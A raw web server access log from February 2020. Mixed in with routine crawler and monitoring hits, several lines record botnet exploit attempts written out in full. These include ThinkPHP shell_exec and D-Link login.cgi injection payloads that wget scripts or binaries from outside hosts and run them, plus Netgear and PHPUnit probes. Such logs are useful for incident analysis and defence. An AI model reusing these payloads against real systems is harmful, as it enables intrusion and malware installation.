169.197.108.6 - - [26/Feb/2020:05:33:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
169.1.208.92 - - [26/Feb/2020:05:33:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.35.173.108 - - [26/Feb/2020:05:34:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.101.0.209 - - [26/Feb/2020:05:34:54 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [26/Feb/2020:05:35:22 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
85.105.184.47 - - [26/Feb/2020:05:35:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
82.199.107.102 - - [26/Feb/2020:05:35:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
149.12.219.22 - - [26/Feb/2020:05:41:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
66.249.64.44 - - [26/Feb/2020:05:42:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
80.95.104.50 - - [26/Feb/2020:05:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
124.248.188.88 - - [26/Feb/2020:05:49:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
180.23.84.203 - - [26/Feb/2020:05:50:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
178.124.222.231 - - [26/Feb/2020:05:55:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.163.153.217 - - [26/Feb/2020:05:58:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
180.165.89.236 - - [26/Feb/2020:06:07:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.250.147.112 - - [26/Feb/2020:06:09:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
103.235.66.238 - - [26/Feb/2020:06:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
39.135.1.160 - - [26/Feb/2020:06:13:54 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
59.126.152.88 - - [26/Feb/2020:06:13:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
39.135.1.160 - - [26/Feb/2020:06:13:54 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:06:14:01 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:06:14:01 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:06:14:02 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:06:14:02 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:06:14:02 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:06:14:04 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:06:14:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.106.64.31 - - [26/Feb/2020:06:16:16 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
170.239.29.189 - - [26/Feb/2020:06:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.14.159.219 - - [26/Feb/2020:06:18:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
50.246.26.1 - - [26/Feb/2020:06:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
115.20.222.185 - - [26/Feb/2020:06:22:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [26/Feb/2020:06:22:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [26/Feb/2020:06:22:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
66.249.64.39 - - [26/Feb/2020:06:23:13 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.41 - - [26/Feb/2020:06:23:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
194.71.197.70 - - [26/Feb/2020:06:23:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.12.219.22 - - [26/Feb/2020:06:25:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
138.201.200.97 - - [26/Feb/2020:06:26:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
138.201.200.97 - - [26/Feb/2020:06:26:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
138.201.200.97 - - [26/Feb/2020:06:26:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
138.201.200.97 - - [26/Feb/2020:06:26:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
138.201.200.97 - - [26/Feb/2020:06:26:08 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
138.201.200.97 - - [26/Feb/2020:06:26:08 +0100] "GET /sitemap.xml HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
138.201.200.97 - - [26/Feb/2020:06:26:08 +0100] "GET /sitemap-index.xml HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
138.201.200.97 - - [26/Feb/2020:06:26:08 +0100] "GET /sitemaps/sitemap.xml HTTP/1.1" 404 337 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
78.46.204.32 - - [26/Feb/2020:06:26:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Wappalyzer)"
159.255.166.36 - - [26/Feb/2020:06:30:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
176.207.117.36 - - [26/Feb/2020:06:30:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
180.23.84.203 - - [26/Feb/2020:06:30:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
189.152.43.210 - - [26/Feb/2020:06:33:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
91.219.132.165 - - [26/Feb/2020:06:36:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
128.14.140.150 - - [26/Feb/2020:06:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
84.138.30.123 - - [26/Feb/2020:06:36:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
92.118.160.17 - - [26/Feb/2020:06:42:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
112.64.147.98 - - [26/Feb/2020:06:42:22 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:07:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.50 - - [26/Feb/2020:07:03:41 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.46 - - [26/Feb/2020:07:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [26/Feb/2020:07:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.30.245.42 - - [26/Feb/2020:07:06:23 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.30.245.42 - - [26/Feb/2020:07:06:23 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.30.245.42 - - [26/Feb/2020:07:06:24 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.30.245.42 - - [26/Feb/2020:07:06:24 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.30.245.42 - - [26/Feb/2020:07:06:25 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.30.245.42 - - [26/Feb/2020:07:06:25 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.30.245.42 - - [26/Feb/2020:07:06:26 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.30.245.42 - - [26/Feb/2020:07:06:26 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.30.245.42 - - [26/Feb/2020:07:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [26/Feb/2020:07:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.209.248.201 - - [26/Feb/2020:07:14:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:07:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.1.208.92 - - [26/Feb/2020:07:16:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:07:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.112.165.186 - - [26/Feb/2020:07:23:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.178.8.198 - - [26/Feb/2020:07:23:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [26/Feb/2020:07:23:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
36.37.135.111 - - [26/Feb/2020:07:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.178.8.198 - - [26/Feb/2020:07:23:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:07:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.238.204.13 - - [26/Feb/2020:07:33:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:07:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.124.222.231 - - [26/Feb/2020:07:35:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.124.222.231 - - [26/Feb/2020:07:35:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:07:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.12.219.22 - - [26/Feb/2020:07:36:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:07:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.208.140.247 - - [26/Feb/2020:07:42:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:07:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.97.92.8 - - [26/Feb/2020:07:45:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:07:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.127.160.61 - - [26/Feb/2020:07:48:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:07:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.180.253.180 - - [26/Feb/2020:07:49:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:07:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:07:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
